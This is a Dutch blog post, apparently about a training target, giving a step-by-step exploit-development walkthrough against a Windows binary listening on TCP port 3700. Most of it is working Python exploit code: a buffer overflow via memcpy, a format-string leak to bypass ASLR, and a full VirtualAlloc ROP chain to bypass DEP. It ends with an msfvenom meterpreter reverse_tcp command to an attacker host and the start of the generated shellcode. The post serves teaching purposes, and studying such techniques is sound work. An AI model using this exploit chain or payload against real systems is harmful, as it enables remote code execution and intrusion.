Met deze blog, “Van Reversing tot Exploit Ontwikkeling: Stap-voor-Stap Hacken van een Windows Binary”, wil ik lezers inzicht geven in de praktijk van Reverse Engineering en Exploit Development. Dit doe ik door een stapsgewijze handleiding te bieden voor het ontwikkelen van een exploit die gebruik maakt van memory corruption om remote code execution te bereiken. Daarnaast beschrijf ik hoe informatielekken en format specifier attacks kunnen worden gebruikt om ASLR te omzeilen en hoe ROP-ketens kunnen worden gebruikt om DEP te omzeilen.

De blog is bedoeld als educatieve technische gids voor ervaren hackers die hun kennis willen uitbreiden over het ontwikkelen van exploits en het reverse engineeren van Windows binaries. De volledige exploit wordt stapsgewijs uitgelegd om het begrip te vergroten.

Het is belangrijk op te merken dat het ontwikkelen van exploits sterk kan variëren afhankelijk van de specifieke toepassing of software, apparaat of operating system. In deze blog heb ik dit proces stap voor stap uitgelegd, gebaseerd op een specifiek voorbeeld van een Windows binary. De stappen en technieken die hier worden beschreven kunnen echter worden aangepast en toegepast in exploit development.

Reverse Engineering: TCP poort reversen

In TCPview kon ik zien dat het programma luisterde op poort 3700/tcp:

In mijn attacker machine, kon ik verbinden met de poort 3700/tcp:

$ nc 192.168.176.171 3700 -nv
(UNKNOWN) [192.168.176.171] 3700 (?) open

Het onderstaande script stuurt een buffer van 200 x “A” over de TCP poort naar een applicatie, met als doel om de binary te reverse engineeren:

#!/usr/bin/python
import socket

buf = b"A" * 200

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.176.171", 3700))
s.send(buf)
s.close()

print("\nDone!")

Om te achterhalen waar het programma start nadat het een buffer ontvangt via TCP, heb ik een breakpoint gezet op recv() functie van de Wsock library. Vervolgens draai ik het script hierboven om een buffer van 200 keer “A” om de breakpoint te triggeren:

In de stack pointer is te zien dat het programma een maximum buffer lengte van 0x4000 (16384 decimaal) accepteert:

Door naar het einde van de wsock functie te stappen, kan ik mijn buffer van A’s (0x41) zien in de stack pointer:

De instructie na de return functie van recv() in het programma is main+0x19a2:

Ik heb het programma in IDA geladen en ik ben naar deze locatie gegaan om tandem te werken met WinDbg (dynamisch) + IDA (statisch):

Reverse Engineering: Memory corruption kwetsbaarheid

Ik ben door het programma heen gestapt in WinDbg om te kijken naar de comparison en de jump greater (jg). In de onderste screenshot is te zien dat het programma de jump neemt, dus het groene pijltje in IDA volgt:

Ook in het volgende blok wordt een jump genomen:

Na deze jump, eindigt het programma in een blok met een interessante functie call “_log_bad_request“. Het lijkt op een custom functie, waardoor deze interessant is om te bekijken:

In de code is een memcpy() functie zichtbaar. De memcpy functie kopieert data naar het geheugen. Hierdoor kan het een buffer overflow kwetsbaarheid introduceren, als de Src* argument user input is:

Met WinDbg kon ik verifieren dat het Src* argument de input buffer is van mijn script (A x 200):

Omdat het nu 200 A’s zijn is het EIP register niet overschreven, maar er werd wel een access violation veroorzaakt:

Door meer A’s (0x41) te versturen, kon ik de EIP register overschrijven:

#!/usr/bin/python
import socket

buf = b"A" * 0x4000

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.176.171", 3700))
s.send(buf)
s.close()

print("\nDone!")

Het was gelukt om EIP te overschrijven, door de buffer lengte te verhogen:

Reverse Engineering: Information leak kwetsbaarheid

Door het pad te volgen in IDA als de jump above (ja) van voorheen niet wordt genomen, belandt het programma in een switch case:

De switch case bevat een functie call in elke case:

get_quote() functie

In de case met offset 901 wordt de get_quote() functie aangeroepen:

Door de functie open te klikken, zag ik een call naar de sprintf() functie. Als de input hiervan input buffer is, dan is het mogelijk om een information leak te veroorzaken met als doel adressen te lekken van de stack. Dit door middel van een format specifier aanval. Deze adressen kunnen vervolgens gebruikt worden om ASLR te omzeilen.

Om te kijken wat deze functie precies teruggeeft, had ik mijn proof of concept aangepast met de opcode om in deze switch case te komen.

PoC met get_quote() functie opcode:

#!/usr/bin/python
import socket
import struct

buf = struct.pack("<L", (0x385))
buf += b"A" * 200

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.21.104.129", 3700))
s.send(buf)

res = s.recv(2048)
print(res)
s.close()

print("\nDone!")

Door de aangepaste code uit te voeren en in WinDbg te kijken naar de comparison, kon ik zien dat de jump below (jb) niet genomen werd. Om in het blok te komen met de get_quote() moet deze jump wel genomen worden:

De jump wordt niet genomen:

EAX bevat input buffer, dus door “0x1” mee te geven (lager dan 0x0a in EDX), kon ik ervoor zorgen dat de jump below wel genomen werd:

...
buf = struct.pack("<L", (0x385))
buf = struct.pack("<L", (0x1))
buf += b"A" * 200
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.21.104.129", 3700))
s.send(buf)
res = s.recv(2048)
print(res)
s.close()
...

Omdat ik ook de recv() functie heb toegevoegd aan de proof of concept, kon ik zien wat de applicatie terug stuurt. De get_quote() functie haalt een quote op en geeft deze teruggeeft:

$ python3 poc.py
b"Give a man a mask and he'll tell you the truth. - Oscar Wilde"

Done!

add_quote functie

In de case met opcode 902, wordt de add_quote() functie aangeroepen:

Met opcode 0x386 kon ik quotes toevoegen in de applicatie. Door een quote aan te maken met “%x” en deze op te halen met de get_quote() functie, kan er een memory leak veroorzaakt worden. Omdat in de get_quote functie, de snprintf() functie wordt aangeroepen om de quote te printen. Hieraan kunnen dus formatters gegeven worden als %s, %x, %d, %n etc.

update quote

Het probleem met add quote en daarna get quote, is dat get quote een quote ophaalt met een ID. Dus als er een quote toegevoegd wordt, dan is de index niet uniek. Dan is het een statische exploit die mogelijk op veel andere servers niet zou werken.

Door te reverse engineeren naar de andere switch cases in IDA, zag ik dat er ook een update_quote functie aanwezig was. Hiermee kan een quote worden aangepast met de index. Vervolgens kan de quote weer opgehaald worden met get_quote en de index. Hierdoor wordt voorkomen dat de exploit niet elke keer werkt.

De update_quote() functie wordt in case 903 aangeroepen:

Ik heb de code aangepast om het volgende te bereiken:

  • Met opcode 0x387 de update_quote() functie aanroepen en de quote met offset 0x1 aanpassen. De data die wordt meegegeven aan de update_quote() is hex format specifier.
  • Na het updaten van deze quote, haal ik hem op met opcode 0x385 en lees ik de output om de leaked memory adressen te zien.

Code:

#!/usr/bin/python
import socket
import struct

host = "192.168.125.132"
port = 3700

# update_quote
buf = struct.pack("<L", (0x387)) # Opcode to call update_quote
buf += struct.pack("<L", (0x1))  # Index of quote to update
buf += b"%x" * 200               # Make quote with hex format specifier, for leaking addresses

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
s.close()

# get_quote
buf = struct.pack("<L", (0x385)) # Opcode to call get_quote
buf += struct.pack("<L", (0x1))  # Index of quote to get
buf += b"A" * 200                # Padding

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)

# Receive and print quote
res = s.recv(2048)
print(res)
s.close()

print("\nDone!")

Resultaat:

$ python3 poc.py 
b'75217da0385bf194b159fadcbf1b1311597aa44000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Done!

Leaked adressen opsommen

Lijst van alle modules:

De eerste vier byes is een adres uit MSVCRT:

De drie bytes vanaf de 24e plaats “bf1b13” in de leak zijn van de applicatie zelf:

Base address offset berekenen

Om de offset naar het base adres te berekenen, heb ik het base adres van het gelekte adres afgetrokken:

Hetzelfde ook voor het MSVCRT adres:

VirtualAlloc adres

Er is een VirtualAlloc implementatie in MSVCRT (_imp__VirtualAlloc), die ik kon gebruiken voor mijn ROP chain. Omdat ASLR aan staat, is het natuurlijk een dynamische adres, maar de offset is altijd hetzelfde. Op de volgende manier heb ik de offset berekend voor VirtualAlloc:

In mijn code heb ik de adressen gefilterd en de base adressen berekend. Vervolgens heb ik ook de VirtualAlloc adres berekend. Mijn code zag er als volgt uit:

...
# get_quote
buf = struct.pack("<L", (0x385)) # Opcode to call get_quote
buf += struct.pack("<L", (0x1))  # Index of quote to get
buf += b"A" * 200

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
res = s.recv(2048)

stackAddress = int(res[24:][:6],16)
print("[+] Leaked Stack Address: 0x" + hex(stackAddress)[2:].zfill(8))
stackBase = stackAddress-0x1b13
print("[+] Stack Base: 0x" + hex(stackBase)[2:].zfill(8))
leakedAddress = res[:8]
print("[+] MSVCRT Leaked Address: 0x" + leakedAddress.decode('utf-8'))
msvcrtBaseAddress = int(leakedAddress, 16) - 0x00067da0
print("[+] MSVCRT Addres: " + hex(msvcrtBaseAddress))
virtualAllocAddress = msvcrtBaseAddress + 0x000bb1b8
print("[+] VirtualAlloc Addres: " + hex(virtualAllocAddress))
s.close()

print("\nDone!")
...

Het resultaat hier van is hieronder te zien:

$ python3 poc.py 
[+] Leaked Stack Address: 0x00bf1b13
[+] Stack Base: 0x00bf0000
[+] MSVCRT Leaked Address: 0x75217da0
[+] MSVCRT Addres: 0x751b0000
[+] VirtualAlloc Addres: 0x7526b1b8

Done!

Door de virtual machine meerdere malen te herstarten en het script te draaien, heb ik gecheckt of de adressen nog steeds kloppen met de leak. Omdat ASLR aan staat, betekent het dat de base adressen na elke restart worden randomized. Maar de offset blijft altijd het zelfde.

$ python3 poc.py
[+] Leaked Stack Address: 0x00701b13
[+] Stack Base: 0x00700000
[+] MSVCRT Leaked Address: 0x75347da0
[+] MSVCRT Addres: 0x752e0000
[+] VirtualAlloc Addres: 0x7539b1b8
[+] Start Buffer Overflow

Done!
$ python3 poc.py
[+] Leaked Stack Address: 0x00e91b13
[+] Stack Base: 0x00e90000
[+] MSVCRT Leaked Address: 0x764e7da0
[+] MSVCRT Addres: 0x76480000
[+] VirtualAlloc Addres: 0x7653b1b8
[+] Start Buffer Overflow

Done!

EIP offset

Om controle te krijgen over de instructie pointer (EIP register), moet de exacte offset worden bepaald. Om dit te doen heb ik de welbekende “pattern” manier gebruikt.

Ik heb met metasploit pattern_offset tool een pattern van 5000 karakters gegenereerd:

$ msf-pattern_offset -q 43387143 -l 5000 
[*] Exact match at offset 2064

Vervolgens heb ik dit aan mijn code toegevoegd:

...
# Pattern
buf  = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl..."

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
s.close()
...

Ik heb mijn code gedraaid en de waarde van EIP gepakt:

De exacte offset naar EIP is 2064 bytes:

$ msf-pattern_offset -q 43387143 -l 5000
[*] Exact match at offset 2064

Om dit te testen heb ik de volgende code gebruikt:

...
buf  = b"A" * 2064
buf += b"B" * 4
buf += b"C" * 400

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
s.close()
...

EIP is exact met 4 x B overschreven:

Bad Characters

Door alle hex karakters van 00-FF te versturen kan achterhaald worden welke karakters in het programma bad characters zijn. Badchars kunnen niet gebruikt worden in de exploit. Dit programma had geen bad characters.

Return Oriented Programming

Om ROP gadgets uit MSVCRT.dll te halen, heb ik RP++ gebruikt:

C:\Users\pwnh4\Downloads>rp-win-x86.exe -f C:\Windows\System32\msvcrt.dll -r 5 > rop.txt
C:\Users\pwnh4\Downloads>rp-win-x86.exe -f main.exe -r 5 > rop2.txt

Om te beginnen heb ik een skeleton toegevoegd met dummy waardes die ik met ROP gadgets ga vullen. De eerste ROP gadget maakt een kopie van ESP (push esp ; xor eax, eax ; pop ebx ; pop esi ; ret). Voor de pop esi instructie heb ik junk waarde toegevoegd:

...
print("[+] Start Buffer Overflow")

# VirtualAlloc skeleton
va  = struct.pack("<L", (0x45454545)) # dummy VirutalAlloc Address
va += struct.pack("<L", (0x46464646)) # Shellcode Return Address
va += struct.pack("<L", (0x47474747)) # dummy lpAddress -> Shellcode Address
va += struct.pack("<L", (0x48484848)) # dummy dwSize -> 0x1
va += struct.pack("<L", (0x49494949)) # dummy flAllocationType -> 0x1000
va += struct.pack("<L", (0x51515151)) # dummy flProtect -> 0x40
buf = b"A" * (2064 - len(va))
buf += va

# Make a copy of EBX
rop = struct.pack("<L", (stackBase + 0x23d5)) # push esp ; xor eax, eax ; pop ebx ; pop esi ; ret
rop += struct.pack("<L", (0x42424242)) # junk

shellcode = b"C" * 400
padding = b"D" * (600-len(buf)-len(rop)-len(shellcode))
buf += rop + shellcode + padding

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
s.close()
...

Er is een kopie van ESP (input buffer) in EBX die uitgelijnd moet worden met de VirtualAlloc skeleton. Om het uit te lijnen met VA skeleton, moet er 0x1C (28) worden afgetrokken. De calculatie is hieronder in de screenshot te zien:

Om de aftrekking te doen, moest ik EBX naar EAX verplaatsen om de add eax, ecx instructie te gebruiken in een ROP gadget. Met de pop ecx ; ret ROP gadget, heb ik -0x1C (0xffffffe4) in ECX gesteld en daarna add gedaan. Hiervoor heb ik de ROP gadget add eax, ecx ; pop esi ; pop ebp ; ret gebruikt. Omdat het een negatieve waarde is, werd het afgetrokken:

...
# Copy EBX to EAX
rop += struct.pack("<L", (stackBase + 0xf445)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
# Align
rop += struct.pack("<L", (stackBase + 0x3118)) # pop ecx ; ret
rop += struct.pack("<L", (0xffffffe4)) # -1C
rop += struct.pack("<L", (msvcrtBaseAddress + 0x39862)) # add eax, ecx ; pop esi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk

shellcode = b"C" * 400
padding = b"D" * (600-len(buf)-len(rop)-len(shellcode))
buf += rop + shellcode + padding
...

Het resultaat hiervan is dat de skeleton uitgelijnd is in EAX:

Met de volgende reeks aan ROP gadgets heb ik EAX (skeleton) naar EBX verplaatst en het VirtualAlloc adres geschreven als eerste argument in de skeleton:

...
# Align
rop += struct.pack("<L", (stackBase + 0x3118)) # pop ecx ; ret
rop += struct.pack("<L", (0xffffffe4)) # -1C
rop += struct.pack("<L", (msvcrtBaseAddress + 0x39862)) # add eax, ecx ; pop esi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk

# Copy EAX to EBX
rop += struct.pack("<L", (stackBase + 0x020b3)) # mov ebx, eax ; ret

# Patch VirtualAlloc
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (virtualAllocAddress)) # VA
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x10925)) # mov eax, dword [eax] ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
...

Het resultaat hiervan is onder te zien, het VirtualAlloc adres is als eerste argument in de skeleton:

Om het volgende adres te patchen, heb ik de skeleton in EBX uitgelijnd door 0x04 bytes toe te voegen aan EBX met de add ebx, 0x04 ; ret ROP gadget:

...
# Patch VirtualAlloc
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (virtualAllocAddress)) # VA
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x10925)) # mov eax, dword [eax] ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret

# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret

...

De uitlijning is onder in de screenshot te zien:

Om het volgende argument in de skeleton te patchen (het return adres), heb ik na het uitlijnen EBX naar EAX gekopieerd met “mov” gadgets:

...
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret

# Move ebx to eax
rop += struct.pack("<L", (stackBase + 0x02e05)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x020b3)) # mov ebx, eax ; ret
...

Het resultaat hiervan is onder te zien:

Het return adres is een pointer naar de shellcode, dit zit ook in de input buffer. Hiervoor heb ik 0x140 bytes afgetrokken van EAX om bij de shellcode te komen en deze gepatched in het EBX (skeleton) argument. Hiervoor heb ik de volgende reeks aan ROP gadgets gebruikt:

...
# Move ebx to eax
rop += struct.pack("<L", (stackBase + 0x02e05)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x020b3)) # mov ebx, eax ; ret

# Patch return address
rop += struct.pack("<L", (stackBase + 0x03118)) # pop ecx ; ret
rop += struct.pack("<L", (0x140)) # 94
rop += struct.pack("<L", (msvcrtBaseAddress + 0x39862)) # add eax, ecx ; pop esi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
...

EAX bevat nu input buffer (return adres), 0x43 (C) is mijn shellcode placeholder, deze moet achteraf worden vervangen met echte shellcode:

Het lpAddress argument moet ook een pointer naar de shellcode zijn. Hiervoor heb ik de skeleton uitgelijnd met dezelfde gadget (add ebx, 0x04 ; ret) en heb ik dezelfde pointer naar de shellcode gepatched in de skeleton:

...
# Patch return address
rop += struct.pack("<L", (stackBase + 0x03118)) # pop ecx ; ret
rop += struct.pack("<L", (0x140)) # 94
rop += struct.pack("<L", (msvcrtBaseAddress + 0x39862)) # add eax, ecx ; pop esi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret

# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret

# Patch lpAddress
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
...

Het resultaat is dat het return adres en het lpAddress argument naar de dummy shellcode wijzen:

De dwSize waarde moet 0x01 worden. Deze applicatie bevat geen bad characters, dus in principe kan de waarde 0x01 direct geset worden. Maar om te laten zien hoe dat moet als het programma wel badcharacters zou bevatten (zoals null byte), heb ik de “negate” methode gebruikt. 0xFF is -0x01. Deze kan in een register worden geschreven en de register kan met een “neg” instructie worden omgezet naar het positieve (0x01) waarde. Dat heb ik gedaan door 0xFF in EAX te stoppen en deze met neg eax ; ret te omzetten naar 0x01. Vervolgens patch ik de 0x01 waarde in de skeleton:

...
# Patch lpAddress
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret

# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret

# Patch dwSize
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0xffffffff)) # -1 value that is negated
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x014da)) # neg eax ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
...

Het resultaat is in de onderstaande screenshot te zien:

De flAllocationType en flProtect zijn ook statische waardes (0x1000 en 0x40). Hetzelfde geld voor deze twee argumenten, dat het niet nodig is geweest om de onderstaande methode te gebruiken, omdat het programma geen bad characters bevat. Hierdoor konden deze waardes direct in de skeleton worden meegegeven. Alsnog heb ik deze manier gebruikt in mijn code om als voorbeeld te laten zien op welke manier dat wel kan als het wel bad characters bevat (bijvoorbeeld null byte). Ik heb twee waardes met een pop in EAX en ECX geschreven en die trek ik van elkaar af, om mijn gewenste waarde te krijgen in de EAX register. Vervolgens heb ik de mov dword [ebx], eax ; ret gadget gebruikt om de waardes te patchen:

...
# Patch dwSize
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0xffffffff)) # -1 value that is negated
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x014da)) # neg eax ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret

# patch flAllocationType
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0x80808080))
rop += struct.pack("<L", (0x80807080)) # sub to get 0x1000
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
rop += struct.pack("<L", (stackBase + 0x020ca)) # mov dword [ebx], eax ; ret

# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret

# Patch flProtect
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0x80808080))
rop += struct.pack("<L", (0x80808040)) # sub to get 0x40
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
...

Resultaat van flAllocationType:

Resultaat flProtect:

Om de skeleton uit te lijnen voor uitvoering, moet er 0x14 (20) bytes worden afgetrokken. Hiervoor heb ik de skeleton naar EAX verplaatst en 0x14 in ECX gesteld met pop ecx ; ret. Daarna heb ik de sub eax, ecx ; ret gadget gebruikt voor de uitlijning. Dit is een goed voorbeeld voor dit programma zonder bad bytes:

...
# Patch flProtect
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0x80808080))
rop += struct.pack("<L", (0x80808040)) # sub to get 0x40
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret

# Copy EBX to EAX
rop += struct.pack("<L", (stackBase + 0x02e05)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk

# Align
rop += struct.pack("<L", (stackBase + 0x3118)) # pop ecx ; ret
rop += struct.pack("<L", (0x14)) # 20
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
...

Het resultaat is in de onderstaande screenshot te zien, de VirtualAlloc is in EAX uitgelijnd en klaar om uitgevoerd te worden:

Om de VirtualAlloc functie uit te voeren moet het geplaatst worden in ESP. Hiervoor heb ik de xchg eax, esp ; ret gadget gebruikt:

...
# Align
rop += struct.pack("<L", (stackBase + 0x3118)) # pop ecx ; ret
rop += struct.pack("<L", (0x14)) # -20
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret

# Move VirtualAlloc to ESP for execution
rop += struct.pack("<L", (stackBase + 0x0adae)) # xchg eax, esp ; ret
...

Hieronder is te zien dat de dummy shellcode wordt uitgevoerd en DEP en ASLR is omzeilt:

Exploit

Om een meterpreter shell te krijgen met de exploit, heb ik shellcode gegenereerd met msfvenom:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.176.22 LPORT=4444 -f python -v shellcode

Payload size: 354 bytes
Final size of python file: 1994 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2"
shellcode += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f"
shellcode += b"\xb7\x4a\x26\x8b\x72\x28\x31\xff\x31\xc0\xac"
shellcode += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
